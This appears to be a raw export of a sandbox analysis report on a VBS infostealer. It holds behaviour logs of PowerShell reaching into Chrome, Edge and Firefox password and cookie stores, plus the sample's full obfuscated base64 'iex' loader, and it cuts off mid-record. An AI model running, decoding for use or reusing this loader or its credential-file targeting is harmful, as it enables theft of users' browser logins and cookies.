"powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE")63:T8b4,"powershell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Local State" "powershell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Login Data" "powershell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies" "powershell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Web Data" "powershell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Local State" "powershell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" "powershell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies" "powershell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Web Data" "powershell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\5xz6ua91.default-release\key4.db" "powershell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\5xz6ua91.default-release\cookies.sqlite" "powershell.exe" trying to open a file "%LOCALAPPDATA%\Google\Chrome\User Data\Local State" "powershell.exe" trying to open a file "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data" "powershell.exe" trying to open a file "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Network\Cookies" "powershell.exe" trying to open a file "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Web Data" "powershell.exe" trying to open a file "%LOCALAPPDATA%\Microsoft\Edge\User Data\Local State" "powershell.exe" trying to open a file "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data" "powershell.exe" trying to open a file "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\Cookies" "powershell.exe" trying to open a file "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Web Data" "powershell.exe" trying to open a file "%APPDATA%\Mozilla\Firefox\Profiles\5xz6ua91.default-release\key4.db" "powershell.exe" trying to open a file "%APPDATA%\Mozilla\Firefox\Profiles\5xz6ua91.default-release\cookies.sqlite"64:T1944," -nop -c ""iex([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(('CgAkAGIAYQBuAGEAbgBhAD0AIgAkAGUAbgBjkemhazxgp2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFjkemhazxgpwAYQBvAGMALgBiAGEAdAAiADsAaQBmACgAVjkemhazxgpABlAHMAdAAtAFAAYQB0AGgAIAAkAGIAYQBujkemhazxgpAGEAbgBhACkAewAkAHIAYQB3AEwAaQBuAGUjkemhazxgpAcwA9AGcAYwAgACQAYgBhAG4AYQBuAGEAfAjkemhazxgpA/AHsAJABfACAALQBsAGkAawBlACAAIgA6AjkemhazxgpDoAOgAqACIAfQA7ACQAcABhAHIAdAAxAD0AjkemhazxgpKAAkAHIAYQB3AEwAaQBuAGUAcwB8AD8AewAjkemhazxgpkAF8AIAAtAGwAaQBrAGUAIAAiADoAOgA6ADjkemhazxgpEAKgAiAH0AfAAlAHsAJABfAC4AUwB1AGIAcjkemhazxgpwB0AHIAaQBuAGcAKAA0ACkAfQApADsAJABwjkemhazxgpAGEAcgB0ADIAPQAoACQAcgBhAHcATABpAG4jkemhazxgpAZQBzAHwAPwB7ACQAXwAgAC0AbABpAGsAZQjkemhazxgpAgACIAOgA6ADoAMgAqACIAfQB8ACUAewAkAjkemhazxgpF8ALgBTAHUAYgBzAHQAcgBpAG4AZwAoADQAjkemhazxgpKQB9ACkAOwAkAHAAYQByAHQAMwA9ACgAJABjkemhazxgpyAGEAdwBMAGkAbgBlAHMAfAA/AHsAJABfACjkemhazxgpAALQBsAGkAawBlACAAIgA6ADoAOgAzACoAIjkemhazxgpgB9AHwAJQB7ACQAXwAuAFMAdQBiAHMAdAByjkemhazxgpAGkAbgBnACgANAApAH0AKQA7ACQAcABhAHIjkemhazxgpAdAA0AD0AKAAkAHIAYQB3AEwAaQBuAGUAcwjkemhazxgpB8AD8AewAkAF8AIAAtAGwAaQBrAGUAIAAiAjkemhazxgpDoAOgA6ADQAKgAiAH0AfAAlAHsAJABfAC4AjkemhazxgpUwB1AGIAcwB0AHIAaQBuAGcAKAA0ACkAfQAjkemhazxgppADsAJABwAGEAcgB0ADUAPQAoACQAcgBhAHjkemhazxgpcATABpAG4AZQBzAHwAPwB7ACQAXwAgAC0AbjkemhazxgpABpAGsAZQAgACIAOgA6ADoANQAqACIAfQB8jkemhazxgpACUAewAkAF8ALgBTAHUAYgBzAHQAcgBpAG4jkemhazxgpAZwAoADQAKQB9ACkAOwAkAGsAaQB3AGkAPQjkemhazxgpAkAHAAYQByAHQAMQArACQAcABhAHIAdAAyAjkemhazxgpCsAJABwAGEAcgB0ADMAKwAkAHAAYQByAHQAjkemhazxgpNAArACQAcABhAHIAdAA1ADsAJABhAHAAcABjkemhazxgpsAGUAPQAoACQAawBpAHcAaQAtAHIAZQBwAGjkemhazxgpwAYQBjAGUAIgBrAGkAdwBpAGwAZQBtAG8AbjkemhazxgpgAiACwAIgAiAC0AcgBlAHAAbABhAGMAZQAijkemhazxgpAHIAdwBoAGkAYQBzAHcAeQBvAGoAbgB0AG0jkemhazxgpAeQB0ACIALAAiACIAKQA7AGkAZgAoACQAYQjkemhazxgpBwAHAAbABlACkAewB0AHIAeQB7AGkAZQB4AjkemhazxgpCgAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAjkemhazxgpbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBjkemhazxgpHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAGjkemhazxgp4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYjkemhazxgpQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABhjkemhazxgpAHAAcABsAGUAKQApACkAfQBjAGEAdABjAGgjkemhazxgpAewB9AH0AfQAKACQAbwByAGEAbgBnAGUAPQjkemhazxgpAnAEgANABzAEkAQQBBAEEAQQBBAEEAQQBFAjkemhazxgpEEASgBWAFUAYQAyACsAYgBNAEIAVAA5AEsAjkemhazxgpOQBiAEUARgBOAGcAeQBxADQAOQBwADcAUgBjkemhazxgpMAHgASQBhAEcAdgByAE8AMABhAEoAZQBrAHjkemhazxgpEATABhADAAbQBBADUAZgBFAEEAVwB4AG0ATjkemhazxgpwB5AFIAcwA2AG4AKwBmAE0AZQBUAFIAdABGjkemhazxgpAG8AMwBQAGkAQwA0AFAAdQBmAGMANgArAE4jkemhazxgpANwBiAFUAVwBGAEEASQA1AGMAWgBBAEgATAjkemhazxgpBXADcAZgBEADAAOABIAFgAegB2AFYAcAAyAjkemhazxgpDAAbwBnAEoAcgBrAE8AdgAvAEYAYQA5ADcAjkemhazxgpYwBTAGgATAB5ADMARABQAEsAZQA4AEEARAAjkemhazxgp3AFIATAAxAHAAUgAzAE0AVwBLAE0AbwBaAFjkemhazxgpcAawBEAEkAYgBTAHMAagBnAHEAUQAvAGMAajkemhazxgpQBLAGMAMwAwAGcALwBGAGcARgBaAC8AcgBujkemhazxgpAGoAWQBTAEUAVgBwAEgAZwBJAHcAVgB4AFEjkemhazxgpAVgBXAEIAUABGAEoAbgBpAEUAMABHAHkAYQjkemhazxgpBZAEUANwBJAEIAOQBhAEwAVQA4AEEAVQBXAjkemhazxgpEEANwA3AFcAMABtAHYAdQBZAGgAdgBFAEwAjkemhazxgpMwBhAEQAWQBGAFUAUQBKAEwAbABhADcAMwBjkemhazxgpWAEsAQgBQAHcAcABDAHkAeQBTAHMAYQBOAGjkemhazxgpEAbwBXADYAVgA5ADYAdwA2AE8AbgBNAHAAZjkemhazxgpABRAHIAQwBVADgAegBuAEkAUQBTAGcAUABQjkemhazxgpAEIARQArADcAUgBNAEsAbgBqADAATQBsAE4jkemhazxgpATgA5AHUAcwBGADUALwAvADMAegBJACsAcwjkemhazxgpBjAEgAWABaAEgAZQBEAG0AaABuAGMAVQBtAjkemhazxgpFAAUgB4ACsAbgA1ADEASAArAC8AaQBMAG8AjkemhazxgpZgAvAGEAKwB6AEkANAB2AHoAbgBqAFEAUAAjkemhazxgp0ADcAZAB4AHMANQBlAGUAOQAvACsASwBjAFjkemhazxgpYANQBiACsAOABnAEoAVQBkADMAaAAvAEUAcjkemhazxgpwA2AGsAYgBoAGQAegBiAHoAcgBnADgAWAA3jkemhazxgpAGwAbwB1AGgATQBCAHMAVABSAGoAcgAxACsjkemhazxgpAcQBWAHYAeQBlAHIAeABaAFgAUgBBAHQAUgjkemhazxgpBjAHMAQQByADYAaABJAGwASABnAGoAQQBaAjkemhazxgpGMAWgBHAGUAVQBVAGEAUwBiAHMASwBEAGUAjkemhazxgpTwB1AEUAbQAyAGkAdgBpAFQAYQAvACsAQQBjkemhazxgpyAFkAUgBFADEAZgBLAGcARwBmAFUASgBsAHjkemhazxgpgAKwBlAHgAbwBkADgASwBiAFEAdABxAFAANjkemhazxgpgA3AFkAUwAwAHMALwBqADUAMwAzADEAawA2jkemhazxgpAFYAeQA0AG4ANgBGAHgAWQBjAGIAZgB3AGEjkemhazxgpAQgBRAHIAVgB0AHYAUgB0ADgARABTAGsAWAjkemhazxgpBoAGYAWQBLAFMARwBvADMAdAA1AGgAVgBGAjkemhazxgpGoAOABGAE4AbgArAGQAVwBWAGUANgBqAE4AjkemhazxgpagAwAFoAYgBEAEgAMAAwAHkAQQBsAEwAcABjkemhazxgpJAGYAUAA2AGQAWgBuAFgAQwBxAHIASQBtAEjkemhazxgpcAdQA5AEEAdAByADcAcgBIAHQATQBIAFUAYjkemhazxgpwBlAGMAcgBXAFEAYQBtAEIAVQBqAFAAVQBtjkemhazxgpAG0AegBpAGMAcgBPADMAYQBaAFIATAB0AEIjkemhazxgpAdwAzAG8ANQBPAE8ASQBkAEkAVQBpAGgAZwjkemhazxgpB4AHQAMwA0ADQASgBtADIAMABkAGEAZgBSAjkemhazxgpDUAcwBHAFMAMwBKAEwASQA3AFgAWABUAG0AjkemhazxgpQQBLAEEARgBEAHgAUgAwAHAASQBmAFcAVABjkemhazxgpRAHUALwBrAGkAcABQAFEASAB2AHUARgBnAHjkemhazxgpYASABEAHcAegBQAEQAVwBWAGgARQAzAEsAMjkemhazxgpgBFADgAQwBsAFQAbwB1AGgAegB5AHQAVABXjkemhazxgpAEkAdQA2AHgAbgBNAGQAZwBXADIAeQBlAEojkemhazxgpASwB1AGUAcQBvAHAAbwBQADEAcABUAEwAaAjkemhazxgpBXACsANwBlAEUAQgBXAGUAagAzAEgAVwBVAjkemhazxgpGgAWAA0AHkAbwBTAHEAQwA4AHIAcwB3AEYAjkemhazxgpMQBiAGIAbQB3AGQATABmAFQATABpADIALwBjkemhazxgpvAHcAbQBwAGMAYwBEAEkARwBFAG4AUwBVAGjkemhazxgpEAdwBWAEgAYQBGAGQAZgBBAHcAUwA2AGkAejkemhazxgpQB4ADYAYwBzAHAANABJAHoAYgBVADAANQBajkemhazxgpAFAAcQBJAHIAeQBnAEQAcAA2ADMAYgBIAFUjkemhazxgpAZwB3AFIAYgBhAGwAZgBMAGIAawBpAEQASgjkemhazxgpBVAHEAVAB2AEkARwBFAEsAagAxAFIASQBlAjkemhazxgpEsAaQBLAFUAdgBLAE4AcQBhAGoAZABhAEwAjkemhazxgpZABSAHcAbgBCAEoAZwBVAEcAWgB2AHMAMQAjkemhazxgp4AFQAUABuAEYAWAA0AEwAawB2AHEALwBFADjkemhazxgpkAcgBIAHcAcABIADEALwBuAGkAcwAzAGYANjkemhazxgpAA2AE0AbABrADIATAB1AGoAaQB0AFEANgBhjkemhazxgpAE8AaAAxADkAVQAyADcAdgBWAHMAVwB3AFgjkemhazxgpAeABKADUARgByAEoAZwBMAFoANQBYADIATAjkemhazxgpA3AFAARgBmADcAZwBtAGoATwBOADUANwBjAjkemhazxgpEIAegBOAGoAZgBJAFoALwAxAC8AcQB2AHEAjkemhazxgpRwBXAFAAWQBLAHEAMwBNAGkAYwBVAEIAMABjkemhazxgpwAEYAWgBIAGQAMwBGAFMATQA3AE0AYgBiAGjkemhazxgpQAOQBxAEYAOQBoACsAMABaADEAeABpAFQAZjkemhazxgpwBZAEEAQQBBAD0APQAnADsAJABtAGEAbgBnjkemhazxgpAG8APQBbAEMAbwBuAHYAZQByAHQAXQA6ADojkemhazxgpARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgjkemhazxgpBpAG4AZwAoACQAbwByAGEAbgBnAGUAKQA7AjkemhazxgpCQAcABpAG4AZQBhAHAAcABsAGUAPQBOAGUAjkemhazxgpdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4ATQBjkemhazxgplAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAsACjkemhazxgpQAbQBhAG4AZwBvACkAOwBpAGUAeAAoAE4AZjkemhazxgpQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTjkemhazxgpAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4jkemhazxgpAZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgjkemhazxgpBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAjkemhazxgpFoAaQBwAFMAdAByAGUAYQBtACgAJABwAGkAjkemhazxgpbgBlAGEAcABwAGwAZQAsAFsASQBPAC4AQwBjkemhazxgpvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAGjkemhazxgp0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXjkemhazxgpQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApjkemhazxgpACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgjkemhazxgpAKQAKAA=='.Replace('jkemhazxgp','')))))""1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"0cf3d7eaea22681caa5425bca164468cf7a13f0848e12ad2fe0115b93e0c9f9c","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791825170058,"unified_at":"2026-10-12T17:12:50.058Z","metadata":{"hashes":{"sha256":"0cf3d7eaea22681caa5425bca164468cf7a13f0848e12ad2fe0115b93e0c9f9c","sha1":"ef66d4f71858eca88d533614f6aa42bc49aa7093","md5":"a12722a451d7f172f3c06dff4d021b11","sha512":"727ad442a9a7bb42a901e23b5bfa9818599a25d8bcccc6499efbc8498787cba503763e1679a44d1e03d268d4f6907147d9f3e708a8d0238eebd16fdff9f2b927","ssdeep":"12288:78HoXs1J9Lxr1CkSvHwzdlm8KU+K2pDW0Ht57ASots1WKIsBG5jewhovzmMn6wu:S1J9WdvQRY0iK0NxoesJe0WzmgZu","ssdeep_chunks":["12288:78HoXs1","12288:8HoXs1J","12288:HoXs1J9","12288:oXs1J9L","12288:Xs1J9Lx","12288:s1J9Lxr","12288:1J9Lxr1","12288:J9Lxr1C","12288:9Lxr1Ck","12288:Lxr1CkS","12288:xr1CkSv","12288:r1CkSvH","12288:1CkSvHw","12288:CkSvHwz","12288:kSvHwzd","12288:SvHwzdl","12288:vHwzdlm","12288:Hwzdlm8","12288:wzdlm8K","12288:zdlm8KU","12288:dlm8KU+","12288:lm8KU+K","12288:m8KU+K2","12288:8KU+K2p","12288:KU+K2pD","12288:U+K2pDW","12288:+K2pDW0","12288:K2pDW0H","12288:2pDW0Ht","12288:pDW0Ht5","12288:DW0Ht57","12288:W0Ht57A","12288:0Ht57AS","12288:Ht57ASo","12288:t57ASot","12288:57ASots","12288:7ASots1","12288:ASots1W","12288:Sots1WK","12288:ots1WKI","12288:ts1WKIs","12288:s1WKIsB","12288:1WKIsBG","12288:WKIsBG5","12288:KIsBG5j","12288:IsBG5je","12288:sBG5jew","12288:BG5jewh","12288:G5jewho","12288:5jewhov","12288:jewhovz","12288:ewhovzm","12288:whovzmM","12288:hovzmMn","12288:ovzmMn6","12288:vzmMn6w","12288:zmMn6wu","24576:78HoXs1","24576:8HoXs1J","24576:HoXs1J9","24576:oXs1J9L","24576:Xs1J9Lx","24576:s1J9Lxr","24576:1J9Lxr1","24576:J9Lxr1C","24576:9Lxr1Ck","24576:Lxr1CkS","24576:xr1CkSv","24576:r1CkSvH","24576:1CkSvHw","24576:CkSvHwz","24576:kSvHwzd","24576:SvHwzdl","24576:vHwzdlm","24576:Hwzdlm8","24576:wzdlm8K","24576:zdlm8KU","24576:dlm8KU+","24576:lm8KU+K","24576:m8KU+K2","24576:8KU+K2p","24576:KU+K2pD","24576:U+K2pDW","24576:+K2pDW0","24576:K2pDW0H","24576:2pDW0Ht","24576:pDW0Ht5","24576:DW0Ht57","24576:W0Ht57A","24576:0Ht57AS","24576:Ht57ASo","24576:t57ASot","24576:57ASots","24576:7ASots1","24576:ASots1W","24576:Sots1WK","24576:ots1WKI","24576:ts1WKIs","24576:s1WKIsB","24576:1WKIsBG","24576:WKIsBG5","24576:KIsBG5j","24576:IsBG5je","24576:sBG5jew","24576:BG5jewh","24576:G5jewho","24576:5jewhov","24576:jewhovz","24576:ewhovzm","24576:whovzmM","24576:hovzmMn","24576:ovzmMn6","24576:vzmMn6w","24576:zmMn6wu","12288:S1J9Wdv","12288:1J9WdvQ","12288:J9WdvQR","12288:9WdvQRY","12288:WdvQRY0","12288:dvQRY0i","12288:vQRY0iK","12288:QRY0iK0","12288:RY0iK0N","12288:Y0iK0Nx","12288:0iK0Nxo","12288:iK0Nxoe","12288:K0Nxoes","12288:0NxoesJ","12288:NxoesJe","12288:xoesJe0","12288:oesJe0W","12288:esJe0Wz","12288:sJe0Wzm","12288:Je0Wzmg","12288:e0WzmgZ","12288:0WzmgZu"],"imphash":"Unknown"},"file_info":{"file_name":"Form_1759970159.vbs","file_type":["script","vbs"],"file_type_id":"vbs","file_size":980087,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1760076083000,"last_seen":1771867795000,"last_multi_scan":1771867795000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["evasive","infostealer"]},"stats":{"av":{"malicious_count":7,"suspicious_count":0,"total_engines":26},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":99},"sandbox_signatures":{"informative_count":230,"suspicious_count":25,"malicious_count":11,"total":266},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/VBS.Boxter","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"DR/SNH","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.77516853","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.77516853 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"VBS/TrojanDropper.Agent.PVS trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"VBS/Agent.CHR!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.VBS.Agent.HKS","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Reconnaissance","technique":"Gather Victim Network Information","attack_id":"T1590","attack_id_wiki":"https://attack.mitre.org/techniques/T1590","identifiers":[{"type":"informative","value":"Able to access user sensitive domain"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Reconnaissance","technique":"IP Addresses","attack_id":"T1590.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1590/005","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"informative","value":"Short-term SSL certificate detected"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to executes commands or batch file"},{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Contains references to WMI/WMIC"},{"type":"informative","value":"Contains ability to execute a WMI query"},{"type":"informative","value":"Executes WMI queries"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to create a new process (API 